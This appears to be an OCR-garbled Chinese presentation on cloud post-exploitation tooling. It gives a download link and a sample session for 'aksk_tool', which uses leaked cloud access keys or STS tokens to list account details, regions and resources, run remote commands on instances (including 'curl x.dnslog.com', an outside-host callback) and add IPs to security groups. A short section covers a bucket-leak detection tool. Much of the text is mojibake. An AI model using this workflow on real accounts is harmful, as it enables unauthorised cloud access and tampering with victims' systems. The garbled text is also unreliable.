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aksk tool

1 download_url : https://toolaffix.oss-cn-

beijing.aliyuncs.com/aksk_tool. jar

2

3 BrXE WEZR, BAE

4

5 WEZ=

6 ¥ AKSKIAIE, STSIAIE

7 X#F ECS, 0SS, RDS, REDIS, RAM , DOAIM m9IpgEEF
8 1. ECS ECSIFIBEW, HiT, REARM/MER

9 2. 0SS 0SS EfE, T, MR, &1

10 3. RDS RDSIFIBEW, HUREIKSAHIN/MER, IPERRENL
11 4. REDIS REDISi¥IE&EE, HiEELX

12 5. RAM RAMIK-S37500/ Ml Bk

13 6. DOMAIN DOMAINEHRBEI, FEBEITIEHNES

14

15 Bz

16 ¥ AKSKIAIE, TOKENIAiE

17 %5 CVM, DOAIM, COS ®9INEEIEMA

18 1. CWM CWiF1EEW, ZBIER, XM, BHEEE

19 2. DOMAIN DOMAINiEREIS

20 3. COS COSSTH-77E, SUARIEMIENE IR url £
21

22 $java -jar aksk_tool.jar LTAI******* ggagaaaaaaaaaaaaaaaaaaaad

N
W

$java -jar aksk_tool.jar STS.AAI******* gggaaaaaaaaaaaaaaaaaaaadd
TOKENASDASDSADSADASDSAADADSADSA

24 [-] AK: LTAI******* SK: gaaaaaaaaaaaaadaaaaaaadad

25 > account name: wyzxxz

26 > account uid: 100000000000000

27 > account cash: 999999999999999999999

28 [-] regions list:

29 | Num | Region_Id | Region_Name I
30 | 1 | cn-gingdao | %41 (BD) |
31 | 2 | cn-beijing | 42 (ER) |

32 | 3 | cn-zhangjiakou | ££4k3 (5k=RO) |
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cn-huhehaote
cn-wulanchabu
cn-hangzhou
cn-shanghai
cn-shenzhen
cn-heyuan
ch-guangzhou
cn-chengdu

cn-hongkong

ap-northeast-1
ap-southeast-1
ap-southeast-2
ap-southeast-3

ap-southeast-5

ap-south-1
us-east-1
us-west-1
eu-west-1
me-east-1
eu-central-1

cn-nanjing

[-] search Resource:
INFO > cn-qingdao

- PostgreSQL: 0 -
INFO > cn-beijing

- PostgreSQL: 1 -
INFO > cn-zhangjiakou
- PostgreSQL: 0 -
INFO > cn-huhehaote

- PostgreSQL: 0 -
INFO > cn-wulanchabu

- PostgreSQL: 0 -
INFO > cn-hangzhou

- PostgreSQL: 1 -

: 0

: 0

1 0

1 0

: 0

REDIS: @

5]
| fedko
| %7Kl

(FFFDIE4T)
(
(
| #7R2 (
(G
G
(
(

5=%81%)
M)
=)
23]
3)

}_l_

S

| @1
| %2
| &3 (7 M)
| #aRal (BER)
| FRE (F#E)
| WAZKRIE 1
| WAZRE 1 CGERni)
| WRZRE 2 GBRE)
| WAZKRE 3 (HEEK)
5
1

&
S

/

S

(FR)

| WARFE 5 (ERNIAD
(NI N #=X)

| SEFRS 1 (FBEREIL)
| =ERP 1 (FED)

| &=E (e30

| PRAR 1 CaF)

| BOMAER 1 OE=%=4&)
| $ZR5 (R -Asihithisl)

'_\

ECS: 1 - MYSQL:
OSS_BUCKET:
ECS: 1 - MYSQL:
OSS_BUCKET:
ECS: 1 - MYSQL:
OSS_BUCKET:
ECS: 1 - MYSQL:
OSS_BUCKET:
ECS: 0 - MYSQL:
OSS_BUCKET:
ECS: 1 - MYSQL:
OSS_BUCKET:
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SQLServer:

SQLServer:

SQLServer:

SQLServer:

SQLServer:

SQLServer:
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INFO > cn-shanghai

- PostgreSQL: 0
INFO > cn-shenzhen

- PostgreSQL: 0
INFO > cn-heyuan

- PostgreSQL: 0
INFO > cn-guangzhou

- PostgreSQL: 0
INFO > cn-chengdu

- PostgreSQL: 0
INFO > cn-hongkong

- PostgreSQL: 0 -
INFO > ap-northeast-1

- PostgreSQL: 0 -
INFO > ap-southeast-1

- PostgreSQL: 0 -
INFO > ap-southeast-2

- PostgreSQL: 0 -
INFO > ap-southeast-3

- PostgreSQL: 0 -
INFO > ap-southeast-5

- PostgreSQL: 0 -
INFO > ap-south-1

- PostgreSQL: 0
INFO > us-east-1

- PostgreSQL: 0 -
INFO > us-west-1

- PostgreSQL: 0 -
INFO > eu-west-1

- PostgreSQL: 0 -
INFO > me-east-1

- PostgreSQL: 0
INFO > eu-central-1

- PostgreSQL: 0
INFO > cn-nanjing

- PostgreSQL: 0

- ECS:

REDIS: @

- ECS:

REDIS: 1

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: 0

- ECS:

REDIS: @

- ECS:

REDIS: @

- ECS:

REDIS: @

- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
- MYSQL:
OSS_BUCKET:
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SQLServer:
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[-] find regions list:

0: cn-gqingdao --> ECS: 1 MYSQL: 1
1: cn-beijing -->

2: cn-zhangjiakou -->

3: cn-huhehaote --> ECS: 1

4: cn-hangzhou -->  ECS: 1 MYSQL:
5: cn-shanghai --> ECS: 1 MYSQL:
6: cn-shenzhen -->  ECS: 1

7: cn-heyuan -->  ECS: 1

8: cn-chengdu --> ECS: 1

9: cn-hongkong --> ECS: 1 MYSQL:
10: ap-northeast-1 --> ECS: 1

11: ap-southeast-1 -->  ECS: 1

12: ap-southeast-2 --> ECS: 1

13: ap-southeast-3 --> ECS: 1

14: ap-southeast-5 --> ECS: 1

15: ap-south-1 --> ECS: 1

16: us-east-1 --> ECS: 1

17: us-west-1 --> ECS: 4

18: eu-west-1 --> ECS: 1

19: me-east-1 --> ECS: 1

20: eu-central-1 --> ECS: 1

[-] please enter the number(0-20)
> 0

[-] use region: cn-qgingdao

[-] use region: cn-gingdao

[-] please choose product:

1. ECS

2. 0SS

3. RDS

4. REDIS

5. RAM

6. DOMAIN

> 1

[-] Instance list:

ECS: 10 MYSQL: 1 REDIS: 2

ECS: 1 MYSQL: 1

1 REDIS: 1
1
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| Num | Instance_ID | Public_IP | CPU | Memory I

Instance_Status | OS_Name | Instance_Name I

Security_Group I

| 1 | 1-test | 1.1.1.1 | 4 | 16G | Running
| Ubuntu 18.04 64fii | test-qgingdao-01 | sg-secgroupid

[-] find instance list:

0: i-test,test-qingdao-01

[-] please enter the number(0-0), enter back to re-choose region
> 0

[-] use instance: i-test,test-qingdao-01
[-] Instance Detail:

# Os name: Ubuntu 18.04 644

# Hostname: test-qingdao-01

RegionId: cn-qingdao

Instance Id: i-testname

Instance Name: i-test

Innerlp:

Public Ip: 1.1.1.1

Security Groupld: sg-secgroupid

Start Time: 2011-01-04T12:36Z

Expired Time: 2023-01-02T12:00Z

CPU: 4

Memory: 16384 M

Status: Running

# Disk size: 150 G

[-] please enter command, enter g or quit to quit, enter back to re-

H O OHF OHF O HF OH OH OB K OH KR =

choose instance

[-] example: cmd=whoami sec_group_info=SecruityGroupld
sec_group_add=SecruityGroupId:ip sec_group_del=SecruityGroupId:ip

> sec_group_info=sg-secgroupid

[-] Security Group Detail:

# Protocol: TCP, Ip:0.0.0.0/0, PortRange:3389/3389, SourceRange:,
Policy:Drop, NicType:intranet, CreatTime:2011-01-02T09:17:10Z
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# Protocol: TCP, Ip:0.0.0.0/0, PortRange:3389/3389, SourceRange:,
Policy:Accept, NicType:intranet, CreatTime:2011-01-02T0@9:17:10Z

# Protocol: ICMP, Ip:0.0.0.0/0, PortRange:-1/-1, SourceRange:-1/-1,
Policy:Accept, NicType:intranet, CreatTime:2011-01-02T@9:17:09Z

# Protocol: TCP, Ip:0.0.0.0/0, PortRange:22/22, SourceRange:,
Policy:Accept, NicType:intranet, CreatTime:2011-01-02T@9:17:09Z

[-] please enter command, enter g or quit to quit, enter back to re-
choose instance

[-] example: cmd=whoami sec_group_info=SecruityGroupIld
sec_group_add=SecruityGroupId:ip sec_group_del=SecruityGroupld:ip

> cmd=curl x.dnslog.com

[-] command: curl x.dnslog.com

L BIE5TA

B LTHATTTA

[-] please enter command, enter g or quit to quit, enter back to re-
choose instance

[-] example: cmd=whoami sec_group_info=SecruityGroupIld
sec_group_add=SecruityGroupId:ip sec_group_del=SecruityGroupld:ip

> sec_group_add=sg-secgroupid:8.8.8.8

ANF R EAFIERIN

[-] please enter command, enter g or quit to quit, enter back to re-
choose instance

[-] example: cmd=whoami sec_group_info=SecruityGroupId
sec_group_add=SecruityGroupId:ip sec_group_del=SecruityGroupId:ip

> q

Cloud-Bucket-Leak-Detection-Tools

WA, HEAASNITAR

S U1 A W N B

fIEZ (Aliyun Cloud Oss)
BNz (Tencent Cloud COS)
#A87= (HuaWei Cloud OBS)
AWS  (Amazon S3 Bucket)
Azure (Azure Blob)

GCP (Google Cloud Bucket)


https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools
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15

NATFE, HEAANTE

pip3 install oss2
pip3 install colorlog
pip3 install argparse

git clone https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools.git
python3 main.py -h
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